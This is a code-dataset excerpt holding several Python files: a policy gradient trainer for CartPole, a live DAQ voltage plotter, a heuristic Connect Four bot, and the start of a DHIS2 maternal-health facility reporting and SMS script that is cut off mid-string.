done, _ = env.step(action)\n \n # add output to trajectory\n traj_obs.append(list(obs))\n traj_acs.append(action)\n traj_rew.append(rew)\n all_log_probs[step + i * max_episode_length] = log_prob[action]\n\n step += 1\n\n # pad trajectories with zeros \n traj_rew.extend([0] * (max_episode_length - len(traj_rew)))\n traj_acs.extend([0] * (max_episode_length - len(traj_acs)))\n traj_obs.extend([[0,0,0,0]] * (max_episode_length - len(traj_obs)))\n\n # add trajectory to batch\n all_obs.append(traj_obs)\n all_acs.append(traj_acs)\n all_rew.append(traj_rew)\n\n return np.array(all_obs), np.array(all_acs), np.array(all_rew), all_log_probs\n\ndef create_discount_matrix(gamma, lamb, max_episode_length):\n ''' returns discount matrix with M_ij = (lamb * gamma)**(i-j), if i <= j, 0 otherwise\n gamma, lambda should be in [0,1]\n '''\n # create matrix\n M = np.zeros((max_episode_length, max_episode_length))\n \n # create discount vector\n mu = [(gamma * lamb) ** i for i in range(max_episode_length)]\n \n # set matrix elements\n for i in range(max_episode_length):\n M[i] = [0] * i + mu[:max_episode_length - i]\n \n return M\n\n\ndef train(env, policy, value_fn, lamb, gamma, pi_lr, vf_lr, train_vf_iter, max_steps, eval_freq, num_trajs, max_episode_length, weight_decay):\n\n steps = 1\n\n optimizer_pi = optim.Adam(policy.parameters(), lr = pi_lr, weight_decay=weight_decay)\n optimizer_val = optim.Adam(value_fn.parameters(), lr = vf_lr)\n\n cur_vf_lr = vf_lr\n cur_pi_lr = pi_lr\n\n val_criterion = nn.MSELoss()\n\n eval_rew, eval_std, eval_loss = [], [], []\n\n # array for temporal discounting\n gamma_lambda = create_discount_matrix(gamma, lamb, max_episode_length)\n # put on gpu for faster matrix multiplication\n gamma_lambda = torch.from_numpy(gamma_lambda).cuda()\n # training data for the value function\n vf_train_reward = []\n vf_train_obs = []\n\n while steps < max_steps:\n\n time1 = time.time()\n # sample some trajectories using the current policy\n all_obs, all_acs, all_rew, all_log_probs = sample_trajs(policy, env, num_trajs, max_episode_length)\n #print('sampling {0} trajectories took {1:2.4f} seconds'.format(num_trajs, time.time()-time1))\n \n time1 = time.time()\n \n\n # reshape to process in tensor batch:\n all_obs_batched = torch.from_numpy(all_obs.reshape((all_obs.shape[0] * all_obs.shape[1], all_obs.shape[2])))\n \n # put observations on gpu\n all_obs_batched = all_obs_batched.cuda()\n \n # forward pass of value func:\n val_out = value_fn(all_obs_batched)\n\n # value estimation of successor state\n ## reshape to discard first observation\n succ_val = val_out.view((num_trajs, max_episode_length, val_out.shape[-1]))[:,1:,:]\n \n ## estimate value of s_T+1 as 0 \n succ_val = torch.cat([succ_val, torch.zeros(num_trajs,1,1).cuda()], 1).cuda()\n\n ## reshape for better use\n succ_val = succ_val.view((num_trajs * max_episode_length, succ_val.shape[-1]))\n\n # flatten reward\n reward_batched = all_rew.flatten().reshape((num_trajs * max_episode_length, 1))\n\n # compute discounted TD resiudal of V\n delta_v = reward_batched + succ_val.detach().cpu().numpy() * gamma - val_out.detach().cpu().numpy()\n delta_v = delta_v.reshape((num_trajs, max_episode_length))\n # transpose for multiplication with discount matrix\n delta_v = np.transpose(delta_v) \n # put on gpu for faster matrix multiplication\n delta_v = torch.from_numpy(delta_v).cuda()\n\n # compute advantage by summing over product of time discounted delta_vg'\n # advantage matrix: Column i holds advantage for episode i, with A^i_t in the t-th row\n advantage = torch.matmul(gamma_lambda, delta_v)\n # transpose and change dimensions again for multiplication with the log probs\n advantage = torch.t(advantage)\n advantage = torch.reshape(advantage, (num_trajs*max_episode_length,1))\n\n\n #print('Reshaping, value function inference and advantage computation took {0:2.4f} seconds'.format(time.time()-time1))\n time1 = time.time()\n\n ####\n # updating policy\n ####\n # reset grads\n optimizer_pi.zero_grad()\n \n # forward policy pass\n #policy_out = policy(all_obs_batched)\n\n # compute loss\n loss = policy_criterion(all_log_probs, advantage, num_trajs)\n #print('Computing the policy loss took {0:2.4f} seconds'.format(time.time()-time1))\n time1 = time.time()\n\n # backprop\n loss.backward()\n #print('Backprop for the policy took {0:2.4f} seconds'.format(time.time()-time1))\n time1 = time.time()\n\n # a = list(policy.parameters())[0].clone()\n # for layer in policy.layers:\n # print(layer.weight.grad)\n \n # update weights\n optimizer_pi.step()\n \n ####\n\n #print('Updating the policy took {0:2.4f} seconds'.format(time.time()-time1))\n time1 = time.time()\n\n # extend vf training data by the new observations \n vf_train_obs.extend(list(all_obs))\n\n # compute reward to go as baseline for value function approximator \n reward_to_go_batched = np.flip(np.cumsum(np.flip(reward_batched.reshape((num_trajs, max_episode_length)), axis=1), axis=1), axis=1).flatten()\n #reward_to_go_batched = torch.from_numpy(reward_to_go_batched).type(torch.FloatTensor).view((num_trajs*max_episode_length,1))\n #reward_to_go_batched = reward_to_go_batched.cuda()\n\n # extend the training rewards for the value function\n vf_train_reward.extend(list(reward_to_go_batched))\n\n\n ####\n # updating baseline (i.e. value function approximator)\n ####\n \n internal_vf_lr = cur_vf_lr\n optimizer_val = optim.Adam(value_fn.parameters(), lr = internal_vf_lr)\n\n for i in range(train_vf_iter):\n \n # reshape training data\n vf_train_reward_torch = torch.from_numpy(np.array(vf_train_reward)).type(torch.FloatTensor).view((num_trajs*max_episode_length*((steps-1)%100+1),1))\n # put on GPU\n vf_train_reward_torch = vf_train_reward_torch.cuda()\n\n # reshape to process in tensor batch:\n vf_train_obs_np = np.array(vf_train_obs)\n vf_train_obs_torch = torch.from_numpy(vf_train_obs_np.reshape((vf_train_obs_np.shape[0] * vf_train_obs_np.shape[1], vf_train_obs_np.shape[2])))\n \n # put observations on gpu\n vf_train_obs_torch = vf_train_obs_torch.cuda()\n\n # update learning rate\n '''\n if i % (train_vf_iter // 5) == 0:\n internal_vf_lr /= 10\n optimizer_val = optim.Adam(value_fn.parameters(), lr = internal_vf_lr)\n '''\n\n # reset grads\n optimizer_val.zero_grad()\n\n # forward pass\n val_out = value_fn(vf_train_obs_torch) # shape = [num_trajs * episode_length, 1]\n \n # compute loss for value function / baseline\n val_loss = val_criterion(val_out, vf_train_reward_torch)\n \n if i == 0:\n #print('Value loss at 1st iteration: {0:3.3f}'.format(val_loss))\n pass\n elif i == train_vf_iter-1:\n print('Value loss at {0:3d}th iteration: {1:3.3f}'.format(train_vf_iter, val_loss))\n pass\n \n # backprop and update value function\n val_loss.backward()\n optimizer_val.step()\n ####\n #print('Updating the value function took {0:2.4f} seconds'.format(time.time()-time1))\n \n\n \n\n if steps % eval_freq == 0:\n rew, std = eval(steps, all_rew)\n val_loss = val_loss.item()\n eval_rew.append(rew)\n eval_std.append(std)\n eval_loss.append(val_loss)\n\n plt.figure(3 * steps)\n plt.plot(np.arange(1,len(eval_rew) + 1, 1) * eval_freq, eval_rew, label='$\\lambda=$'+'{};'.format(lamb)+'$\\gamma=$'+'{}'.format(gamma))\n plt.xlabel('Step')\n plt.ylabel('Reward')\n plt.legend()\n plt.grid()\n #plt.show()\n plt.savefig('plots/reward_lam_{}_gam_{}.pdf'.format(lamb, gamma))\n plt.close()\n\n plt.figure(3 * steps + 1)\n plt.plot(np.arange(1,len(eval_rew) + 1, 1) * eval_freq, eval_loss, label='$\\lambda=$'+'{};'.format(lamb)+'$\\gamma=$'+'{}'.format(gamma))\n plt.xlabel('Step')\n plt.ylabel('Value Fn Loss')\n plt.grid()\n #plt.show()\n plt.savefig('plots/val_loss_lam_{}_gam_{}.pdf'.format(lamb, gamma))\n plt.close()\n\n # update learning rate\n if steps % (max_steps // 10) == 0:\n #cur_pi_lr /= 10\n cur_vf_lr /= 10\n #optimizer_pi = optim.Adam(policy.parameters(), lr = cur_pi_lr, weight_decay=weight_decay)\n optimizer_val = optim.Adam(value_fn.parameters(), lr = cur_vf_lr)\n\n if steps % 100 == 0:\n vf_train_reward = []\n vf_train_obs = []\n\n # inc step counter\n steps += 1\n \n\n plt.figure(1)\n plt.plot(np.arange(1,len(eval_rew) + 1, 1) * eval_freq, eval_rew, label='$\\lambda=$'+'{};'.format(lamb)+'$\\gamma=$'+'{}'.format(gamma))\n plt.xlabel('Step')\n plt.ylabel('Reward')\n plt.legend()\n plt.grid()\n plt.show()\n plt.savefig('plots/reward_lam_{}_gam_{}.pdf'.format(lamb, gamma))\n\n plt.figure(2)\n plt.plot(np.arange(1,len(eval_rew) + 1, 1) * eval_freq, eval_loss, label='$\\lambda=$'+'{};'.format(lamb)+'$\\gamma=$'+'{}'.format(gamma))\n plt.xlabel('Step')\n plt.ylabel('Value Fn Loss')\n plt.legend()\n plt.grid()\n plt.show()\n plt.savefig('plots/val_loss_lam_{}_gam_{}.pdf'.format(lamb, gamma))\n return policy, value_fn\n\n\n\n\n \n\n\ndef main():\n\n # some hyper params\n pi_lr = 3e-4\n vf_lr = 1e-3\n train_vf_iter = 50\n num_hidden_policy = [64,64]\n num_hidden_value = [64,64]\n steps = 10000\n eval_freq = 10\n num_trajs = 1 # 2000\n max_episode_length = 200\n weight_decay = 0\n lamb = 0.99\n gamma = 0.99\n\n # set up env\n env = gym.make('CartPole-v0')\n env.reset()\n\n # set up models\n policy = models.policy_network(env, num_hidden_policy)\n value_fn = models.value_network(env, num_hidden_value, output_dim=1)\n \n # put models on gpu\n policy.cuda()\n value_fn.cuda()\n\n # train models\n print('Training models')\n policy, value_fn = train(env, policy, value_fn, lamb, gamma, pi_lr, vf_lr, train_vf_iter, steps, eval_freq, num_trajs, max_episode_length, weight_decay)\n print('Finished training!')\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"vanilla policy gradient/vpg.py","file_name":"vpg.py","file_ext":"py","file_size_in_byte":13794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"219240300","text":"import nidaqmx\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.ion()\r\nplt.figure()\r\n\r\ni=0\r\n\r\nwith nidaqmx.Task() as task:\r\n task.ai_channels.add_ai_voltage_chan(\"Dev6/ai0\")\r\n while i<300:\r\n data=task.read(number_of_samples_per_channel=1)\r\n plt.scatter(i,data[0], c= 'b')\r\n plt.ylabel(\"Raw Voltage (V)\")\r\n plt.xlabel(\"Time(s)\")\r\n #plt.xlim([0, 256])\r\n plt.pause(0.01)\r\n i=i+1\r\n print (data)","sub_path":"Scatter Real Time.py","file_name":"Scatter Real Time.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"269643935","text":"from collections import defaultdict\nfrom operator import itemgetter\nimport random\n\nfrom botany_connectfour import game\nfrom botany_core.tracer import get_opcode_count, get_opcode_limit\n\n\ndef check_winner(board, move, position, ignore_vertical=False):\n token = board[move][position]\n\n # Horizontal\n total_count = 1\n x = move\n while True:\n x -= 1\n if x < 0 or board[x][position] != token:\n break\n total_count += 1\n x = move\n while True:\n x += 1\n if x > 6 or board[x][position] != token:\n break\n total_count += 1\n if total_count >= 4:\n return True\n\n # Vertical\n if not ignore_vertical:\n total_count = 1\n y = position\n while True:\n y -= 1\n if y < 0 or board[move][y] != token:\n break\n total_count += 1\n y = position\n if total_count >= 4:\n return True\n\n # Diag 1\n total_count = 1\n x = move\n y = position\n while True:\n x -= 1\n y -= 1\n if y < 0 or x < 0 or board[x][y] != token:\n break\n total_count += 1\n x = move\n y = position\n while True:\n y += 1\n x += 1\n if y > 5 or x > 6 or board[x][y] != token:\n break\n total_count += 1\n if total_count >= 4:\n return True\n\n # Diag 2\n total_count = 1\n x = move\n y = position\n while True:\n x += 1\n y -= 1\n if y < 0 or x > 6 or board[x][y] != token:\n break\n total_count += 1\n x = move\n y = position\n while True:\n x -= 1\n y += 1\n if y > 5 or x < 0 or board[x][y] != token:\n break\n total_count += 1\n if total_count >= 4:\n return True\n\n return False\n\n\ndef get_moves_played(board, max_move=10):\n number_of_moves = 0\n for column in board:\n for row in column:\n if row == '.':\n break\n else:\n number_of_moves += 1\n if number_of_moves >= max_move:\n return number_of_moves\n return number_of_moves\n\n\ndef find_enemy_location(board, enemy_token):\n for i, column in enumerate(board):\n if column[0] == enemy_token:\n return i\n\n\ndef get_columns_with_space(board, token, preferred_locations):\n columns_with_space = []\n for column in preferred_locations:\n if column == 3:\n columns_with_space.append(column)\n continue\n space_count = 0\n board_column = board[column]\n for row in board_column[::-1]:\n if row == '.' or row == token:\n space_count += 1\n else:\n break\n if space_count >= 4:\n columns_with_space.append(column)\n return columns_with_space\n\n\ndef get_board_columns_used(board):\n all_columns = [0, 0, 0, 0, 0, 0, 0]\n for x in range(7):\n board_column = board[x]\n for y in range(6):\n if board_column[y] == '.':\n all_columns[x] = y\n break\n all_columns[x] = 6\n return all_columns\n\n\ndef can_make_4_horizontal(board, move_x, move_y, token):\n total = 1\n x = move_x\n while True:\n x += 1\n if x < 7 and (board[x][move_y] == token or board[x][move_y] == '.'):\n total += 1\n else:\n break\n x = move_x\n while True:\n x -= 1\n if x >= 0 and (board[x][move_y] == token or board[x][move_y] == '.'):\n total += 1\n else:\n break\n return total >= 4\n\n\ndef get_friendly_neighbours(board, move_x, move_y, token):\n total_neighbours = 0\n for delta_x in [-1, 0, 1]:\n x = move_x + delta_x\n if x < 0 or x > 6:\n continue\n for delta_y in [-1, 0, 1]:\n y = move_y + delta_y\n if y < 0 or y > 5:\n continue\n if board[x][y] == token:\n total_neighbours += 1\n return total_neighbours\n\n\ndef move_makes_3_horizontal_with_spaces(board, move_x, move_y, token, check_for_immediate_risk=True):\n left = move_x\n right = move_x\n x = move_x\n while True:\n x -= 1\n if x < 0 or board[x][move_y] != token:\n break\n left = x\n x = move_x\n while True:\n x += 1\n if x > 6 or board[x][move_y] != token:\n break\n right = x\n\n if right - left < 2 or left == 0 or right == 6:\n return False\n\n if check_for_immediate_risk:\n if board[left - 1][move_y] == '.' and board[right + 1][move_y] == '.':\n if move_y > 0:\n if board[left - 1][move_y - 1] != '.' and board[right + 1][move_y - 1] != '.':\n return True\n else:\n return False\n return True\n else:\n return True\n\n\ndef move_opens_opportunities(board, move_x, move_y, token):\n total_opportunities_count = 0\n\n # Check left\n count = 1\n if move_x > 2:\n for delta_x in [-1, -2, -3]:\n target = board[move_x + delta_x][move_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n # Check right\n count = 1\n if move_x < 4:\n for delta_x in [1, 2, 3]:\n target = board[move_x + delta_x][move_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n # Check diag-down-left\n count = 1\n if move_x > 2 and move_y > 2:\n for delta in [-1, -2, -3]:\n delta_x = delta\n delta_y = delta\n target = board[move_x + delta_x][move_y + delta_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n # Check diag-up-left\n count = 1\n if move_x > 2 and move_y < 3:\n for delta in [-1, -2, -3]:\n delta_x = delta\n delta_y = -delta\n target = board[move_x + delta_x][move_y + delta_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n # Check diag-down-right\n count = 1\n if move_x < 4 and move_y > 2:\n for delta in [1, 2, 3]:\n delta_x = delta\n delta_y = -delta\n target = board[move_x + delta_x][move_y + delta_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n # Check diag-up-right\n count = 1\n if move_x < 4 and move_y < 3:\n for delta in [1, 2, 3]:\n delta_x = delta\n delta_y = delta\n target = board[move_x + delta_x][move_y + delta_y]\n if target == '.':\n continue\n elif target == token:\n count += 1\n else:\n break\n if count == 3:\n total_opportunities_count += 1\n\n return total_opportunities_count\n\n\ndef results_in_a_winner(board, board_columns, token, other_token):\n # Make the move\n for i in range(7):\n if board_columns[i] == 6:\n continue\n # Check if other can win\n board[i][board_columns[i]] = other_token\n if check_winner(board, i, board_columns[i]):\n return other_token\n board[i][board_columns[i]] = '.'\n\n for i in range(7):\n if board_columns[i] == 6:\n continue\n # Check if other can win\n board[i][board_columns[i]] = token\n if check_winner(board, i, board_columns[i]):\n board_columns[i] += 1\n return results_in_a_winner(board, board_columns, other_token, token)\n board[i][board_columns[i]] = '.'\n\n\ndef get_next_move(board, token):\n board_columns_used = get_board_columns_used(board)\n available_moves = game.available_moves(board)\n preferred_locations = [3, 2, 4, 1, 5, 0, 6]\n preferred_locations = [x for x in preferred_locations if x in available_moves]\n priority_locations = get_columns_with_space(board, token, preferred_locations)\n opcode_limit = get_opcode_limit()\n losing_locations = set()\n skip_moves = set()\n\n # if state is None:\n # state = {'opening_trap': False}\n\n moves_played = get_moves_played(board)\n\n other_token = 'X' if token == 'O' else 'O'\n\n for move in available_moves:\n board[move][board_columns_used[move]] = token\n if check_winner(board, move, board_columns_used[move]):\n print('MOVE: winning move')\n return move\n board[move][board_columns_used[move]] = '.'\n\n for move in available_moves:\n board[move][board_columns_used[move]] = other_token\n if check_winner(board, move, board_columns_used[move]):\n print('MOVE: blocking enemy win')\n return move\n board[move][board_columns_used[move]] = '.'\n\n for move in available_moves:\n if board_columns_used[move] > 4:\n continue\n board[move][board_columns_used[move]] = token\n board[move][board_columns_used[move] + 1] = other_token\n\n if check_winner(board, move, board_columns_used[move] + 1):\n losing_locations.add(move)\n\n board[move][board_columns_used[move]] = '.'\n board[move][board_columns_used[move] + 1] = '.'\n\n # Opening book\n if moves_played == 1:\n if board[3][0] == other_token:\n losing_locations.add(3)\n\n if moves_played == 2:\n if board[3][1] == other_token:\n # state['opening_trap'] = True\n return 2\n if board[2][0] == other_token:\n return 2\n if board[4][0] == other_token :\n return 4\n\n if moves_played == 4:\n if board[3][1] == other_token and board[1][0] == '.' and board[4][0] == '.':\n return 4\n\n # Take the move if you see a open-ended 3 way opportunity\n for move in available_moves:\n if move in losing_locations:\n continue\n if move_makes_3_horizontal_with_spaces(board, move, board_columns_used[move], token):\n print('MOVE: 3-way opportunity')\n return move\n\n # Block 2 adjacent tokens for the enemy\n for move in available_moves:\n if move_makes_3_horizontal_with_spaces(board, move, board_columns_used[move], other_token):\n print('MOVE: block 3-way opportunity')\n return move\n\n for move in available_moves:\n if move in losing_locations or board_columns_used[move] > 4:\n continue\n board[move][board_columns_used[move]] = token\n board[move][board_columns_used[move] + 1] = token\n\n if check_winner(board, move, board_columns_used[move] + 1, ignore_vertical=True):\n skip_moves.add(move)\n\n board[move][board_columns_used[move]] = '.'\n board[move][board_columns_used[move] + 1] = '.'\n\n print(get_opcode_count())\n\n # Look for forced wins\n for move in skip_moves:\n if move in losing_locations or board_columns_used[move] > 2:\n continue\n board[move][board_columns_used[move]] = token\n board[move][board_columns_used[move] + 1] = other_token\n board[move][board_columns_used[move] + 2] = token\n\n if check_winner(board, move, board_columns_used[move] + 2):\n print('MOVE: Force WIN')\n return move\n\n board[move][board_columns_used[move] + 2] = '.'\n board[move][board_columns_used[move] + 1] = '.'\n board[move][board_columns_used[move]] = '.'\n\n # # Look for a sure win:\n # for move in available_moves:\n # print(f'sure {move}')\n # if move in losing_locations or board_columns_used[move] > 2:\n # continue\n # copy_board = [x[:] for x in board]\n # copy_board_columns_used = board_columns_used[:]\n # copy_board[move][copy_board_columns_used[move]] = token\n # # copy_board[move][copy_board_columns_used[move] + 1] = token\n #\n # # if not check_winner(copy_board, move, board_columns_used[move] + 1):\n # # continue\n #\n # # copy_board[move][copy_board_columns_used[move] + 1] = '.'\n # copy_board_columns_used[move] += 1\n #\n # result = results_in_a_winner(copy_board, copy_board_columns_used, token, other_token)\n # print(f'sure result: {result}')\n #\n # if result == token:\n # print('MOVE: Sure WIN')\n # return move\n # elif result == other_token:\n # losing_locations.add(move)\n\n # Look for opening opportunities\n for move in preferred_locations:\n move_score = {}\n if move in skip_moves or move in losing_locations or board_columns_used[move] == 0:\n continue\n\n score = move_opens_opportunities(board, move, board_columns_used[move], token)\n if score > 0:\n move_score[move] = score\n\n if move_score:\n sorted_score = sorted(move_score.items(), key=itemgetter(1))\n print('MOVE: making opportunities')\n return sorted_score[0][0]\n\n # Look for blocking opening opportunities\n for move in available_moves:\n move_score = {}\n if move in losing_locations:\n continue\n\n score = move_opens_opportunities(board, move, board_columns_used[move], other_token)\n if score > 0:\n move_score[move] = score\n\n if move_score:\n sorted_score = sorted(move_score.items(), key=itemgetter(1))\n print('MOVE: blocking enemy opportunities')\n return sorted_score[0][0]\n\n sorted_friendly_neighbours_score = None\n friendly_neighbours_score = {}\n\n for move in preferred_locations:\n if move in skip_moves or move in losing_locations or board_columns_used[move] == 0 or board_columns_used[move] == 0:\n continue\n friendly_neighbours = get_friendly_neighbours(board, move, board_columns_used[move], token)\n if friendly_neighbours > 1:\n friendly_neighbours_score[move] = friendly_neighbours\n\n if friendly_neighbours_score:\n sorted_friendly_neighbours_score = sorted(friendly_neighbours_score.items(), key=itemgetter(1))\n if sorted_friendly_neighbours_score[0][1] >= 3:\n print('MOVE: good friendlies')\n return sorted_friendly_neighbours_score[0][0]\n\n for move in preferred_locations:\n if move in skip_moves or move in losing_locations or board_columns_used[move] == 0 or board_columns_used[move] > 3:\n continue\n if not can_make_4_horizontal(board, move, board_columns_used[move], token):\n continue\n if move > 0:\n if board[move - 1][board_columns_used[move]] == token:\n print('MOVE: pair left')\n return move\n if move < 6:\n if board[move + 1][board_columns_used[move]] == token:\n print('MOVE: pair right')\n return move\n\n if sorted_friendly_neighbours_score:\n print('MOVE: weak neighbours')\n return sorted_friendly_neighbours_score[0][0]\n\n print(get_opcode_count())\n\n for move in priority_locations:\n if move not in available_moves or move in losing_locations or move in skip_moves:\n continue\n return move\n\n for move in preferred_locations:\n if move not in available_moves or move in losing_locations or move in skip_moves:\n continue\n return move\n\n for move in priority_locations:\n if move not in available_moves or move in losing_locations:\n continue\n return move\n\n for move in preferred_locations:\n if move not in available_moves or move in losing_locations:\n continue\n return move\n\n return random.choice(available_moves)\n","sub_path":"bots/not_minimax_v15.py","file_name":"not_minimax_v15.py","file_ext":"py","file_size_in_byte":16302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"196695223","text":"import tempfile\nimport requests\nimport pandas\nimport numpy as np\nimport os\nfrom pandas import Series\nfrom settings import config\nimport datetime\nimport psycopg2\nimport psycopg2.extras\nimport json\nimport simplejson\n\nuser = config['dhis2_user']\npasswd = config['dhis2_passwd']\nBASE_URL = config['base_url']\nBASE_URL = BASE_URL + \"dimension=pe:LAST_12_MONTHS&dimension=dx:yTtv6wuTWUN;eGSUL2aL0zW;OWJ3hkJ9VYA;iNVDqc0xKi0\"\nBASE_URL = BASE_URL + \"&dimension=ou:LEVEL-5;%s\"\npayload = {\n \"filter\": \"u8EjsUj11nz:jTolsq2vJv8;GM7GlqjfGAW;luVzKLwlHJV\",\n \"tableLayout\": \"true\",\n \"columns\": \"pe;dx\",\n \"rows\": \"ou\",\n}\n\n# the month for which we're generating the reports\ncurrent_month = datetime.datetime.now().strftime('%B').lower()[:3]\n\nancList = [1, 2, 5, 6, 9, 10, 13, 14, 17, 18, 21, 22, 25, 26, 29, 30, 33, 34, 37, 38, 41, 42, 45, 46]\ndelivList = [3, 7, 11, 15, 19, 23, 27, 31, 35, 39, 43, 47]\npvcList = [4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48]\n\nMonths = {}\nMappings = {}\nMappings['jan'] = 'dec'\nMappings['feb'] = 'jan'\nMappings['mar'] = 'feb'\nMappings['apr'] = 'mar'\nMappings['may'] = 'apr'\nMappings['jun'] = 'may'\nMappings['jul'] = 'jun'\nMappings['aug'] = 'jul'\nMappings['sep'] = 'aug'\nMappings['oct'] = 'sep'\nMappings['nov'] = 'oct'\nMappings['dec'] = 'nov'\n# start of Months Dictionary; this is important to maintain due to the need to report given months performace versus perfomrance from past\n# period's report\nMonths['jan'] = [10, 9, 8]\nMonths['feb'] = [11, 10, 9]\nMonths['mar'] = [0, 11, 10]\nMonths['apr'] = [0, 1, 11]\nMonths['may'] = [0, 1, 2]\nMonths['jun'] = [1, 2, 3]\nMonths['jul'] = [2, 3, 4]\nMonths['aug'] = [3, 4, 5]\nMonths['sep'] = [4, 5, 6]\nMonths['oct'] = [5, 6, 7]\nMonths['nov'] = [6, 7, 8]\nMonths['dec'] = [7, 8, 9]\n\n# To handle Json in DB well\npsycopg2.extras.register_default_json(loads=lambda x: x)\npsycopg2.extensions.register_adapter(dict, psycopg2.extras.Json)\n\n\ndef get_url(url):\n res = requests.get(url, params=payload, auth=(user, passwd))\n return res.text\n\n\ndef read_csv_to_file(url):\n res = requests.get(url, params=payload, auth=(user, passwd))\n f = tempfile.NamedTemporaryFile(delete=False) # create temporary file\n fname = f.name\n for chunck in res.iter_content(1024):\n f.write(chunck)\n f.close()\n pobj = pandas.read_csv(fname)\n os.unlink(fname)\n return pobj\n\n\ndef send_facility_sms(params): # params has the facility uuid and other params\n res = requests.get(config[\"smsurl\"], params=params)\n return res.text\n\n\ndef read_csv_to_file2(url):\n pobj = pandas.read_csv(\"/tmp/2015-05-12_35_211431419721.csv\")\n return pobj\n\n\ndef ord(n):\n return str(int(n)) + (\"th\" if 4 <= n % 100 <= 20 else {1: \"st\", 2: \"nd\", 3: \"rd\"}.get(n % 10, \"th\"))\n\n\ndef save_facility_record(conn, cur, fuuid, record):\n if \"comment\" in record:\n record.pop(\"comment\")\n if \"month\" in record:\n record.pop(\"month\")\n cur.execute(\"SELECT previous_values::text FROM facilities WHERE uuid = %s\", [fuuid])\n res = cur.fetchone()\n if res:\n prev_vals = json.loads(res['previous_values'])\n prev_vals['%s' % datetime.datetime.now().strftime('%Y-%m')] = record\n cur.execute(\n \"UPDATE facilities SET previous_values = %s WHERE uuid = %s\",\n [psycopg2.extras.Json(prev_vals, dumps=simplejson.dumps), fuuid])\n conn.commit()\n\n\ndef CombinedReport(id, interval, tree):\n \"\"\"CombinedReport(id,interval)-- This takes an id and interval interms of shorthand\n months of the year --E.g CombinedReport('cK5zkZIUFsN','jan')\"\"\"\n mytype = tree['ANC'][id]\n mynewtype = []\n x = 0\n for i in range(0, len(mytype), 2):\n mynewtype.append(mytype[i])\n remapped = np.nan_to_num(mynewtype)\n for i in Months[interval]:\n x += remapped[i]\n A = x / 3.00\n# start of comparison report bit of the function\n mytypeComp = tree['ANC'][id]\n mynewtypeComp = []\n xComp = 0\n for i in range(0, len(mytypeComp), 2):\n mynewtypeComp.append(mytypeComp[i])\n remapped = np.nan_to_num(mynewtypeComp)\n for i in Months[Mappings[interval]]:\n xComp += remapped[i]\n B = xComp / 3.00\n# start of completeness report for ANC\n mytype = tree['ANC'][id]\n mynewtype = []\n truetest = []\n x = 0\n for i in range(0, len(mytype), 2):\n mynewtype.append(mytype[i])\n remapped = np.isnan(mynewtype)\n for i in Months[interval]:\n truetest.append(remapped[i])\n remappednum = truetest.count(False)\n C = (remappednum / 3.00) * 100\n mytype = tree['PVC'][id]\n x = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[interval]:\n x += remapped[i]\n D = x / 3.00\n# start of comparison of PVC past Month's report\n mytype = tree['PVC'][id]\n x = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[Mappings[interval]]:\n x += remapped[i]\n E = x / 3.00\n# start of comparison of Completeness of PVC past Month's report\n mytype = tree['PVC'][id]\n truetest = []\n x = 0.0000\n remapped = np.isnan(mytype)\n remapped = list(remapped)\n for i in Months[interval]:\n truetest.append(remapped[i])\n x = truetest.count(False)\n F = (x / 3.00) * 100\n mytype = tree['Deliv'][id]\n x = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[interval]:\n x += remapped[i]\n G = x / 3.00\n# start of comparison for the Past Months Deliveries report\n mytype = tree['Deliv'][id]\n x = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[Mappings[interval]]:\n x += remapped[i]\n H = x / 3.00\n# start of comparison of Completeness of Deliveries for Month's report\n mytype = tree['Deliv'][id]\n truetest = []\n x = 0.0000\n remapped = np.isnan(mytype)\n remapped = list(remapped)\n for i in Months[interval]:\n truetest.append(remapped[i])\n x = truetest.count(False)\n I = (x / 3.00) * 100\n RankDict = {}\n RankInitial = []\n RankInitial.append(ANC_reportRank(id, interval, tree))\n c = RowToSub[id]\n total = 0\n for i in check:\n result = check.get_group(c)\n k = result.shape[0]\n for j in range(k):\n p = result.values[j][0]\n RankDict[p] = ANC_reportRank(p, interval, tree)\n total += 1\n del RankDict[id]\n RankList = RankDict.values()\n for x in RankList:\n RankInitial.append(x)\n RankPosition = Series(RankInitial)\n RankFinal = RankPosition.rank(method='min')[0]\n J = RankFinal\n K = total\n L = ord(J), ':of', K\n return A, B, C, D, E, F, G, H, I, L\n\n\ndef ANC_reportRank(id, interval, tree):\n \"\"\"ANC_reportRank(id,interval)-- This takes an id and interval interms of shorthand \"\n months of the year --E.g ANC_reportRank('cK5zkZIUFsN','jan')\"\"\"\n mytype = tree['ANC'][id]\n mynewtype = []\n Q = 0\n for i in range(0, len(mytype), 2):\n mynewtype.append(mytype[i])\n remapped = np.nan_to_num(mynewtype)\n for i in Months[interval]:\n Q += remapped[i]\n Q = Q / 3\n mytype = tree['PVC'][id]\n P = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[interval]:\n P += remapped[i]\n P = P / 3\n mytype = tree['Deliv'][id]\n R = 0\n remapped = np.nan_to_num(mytype)\n for i in Months[interval]:\n R += remapped[i]\n R = R / 3\n return R + Q + P\n\nIntroText1 = (\n \"Sample Introduction: Your facility is selected to receive performance reports.\"\n \"\\nEvery month a report will arrive that compares your performance this month to the previous \"\n \"month.+10% means an increase. -10% means a decrease.\\n Work to improve your facility everyday, \"\n \"we'll be watching!\")\nIntroText2 = (\n \"Sample Introduction: Your facility is selected to receive performance reports.\"\n \"\\nEvery month 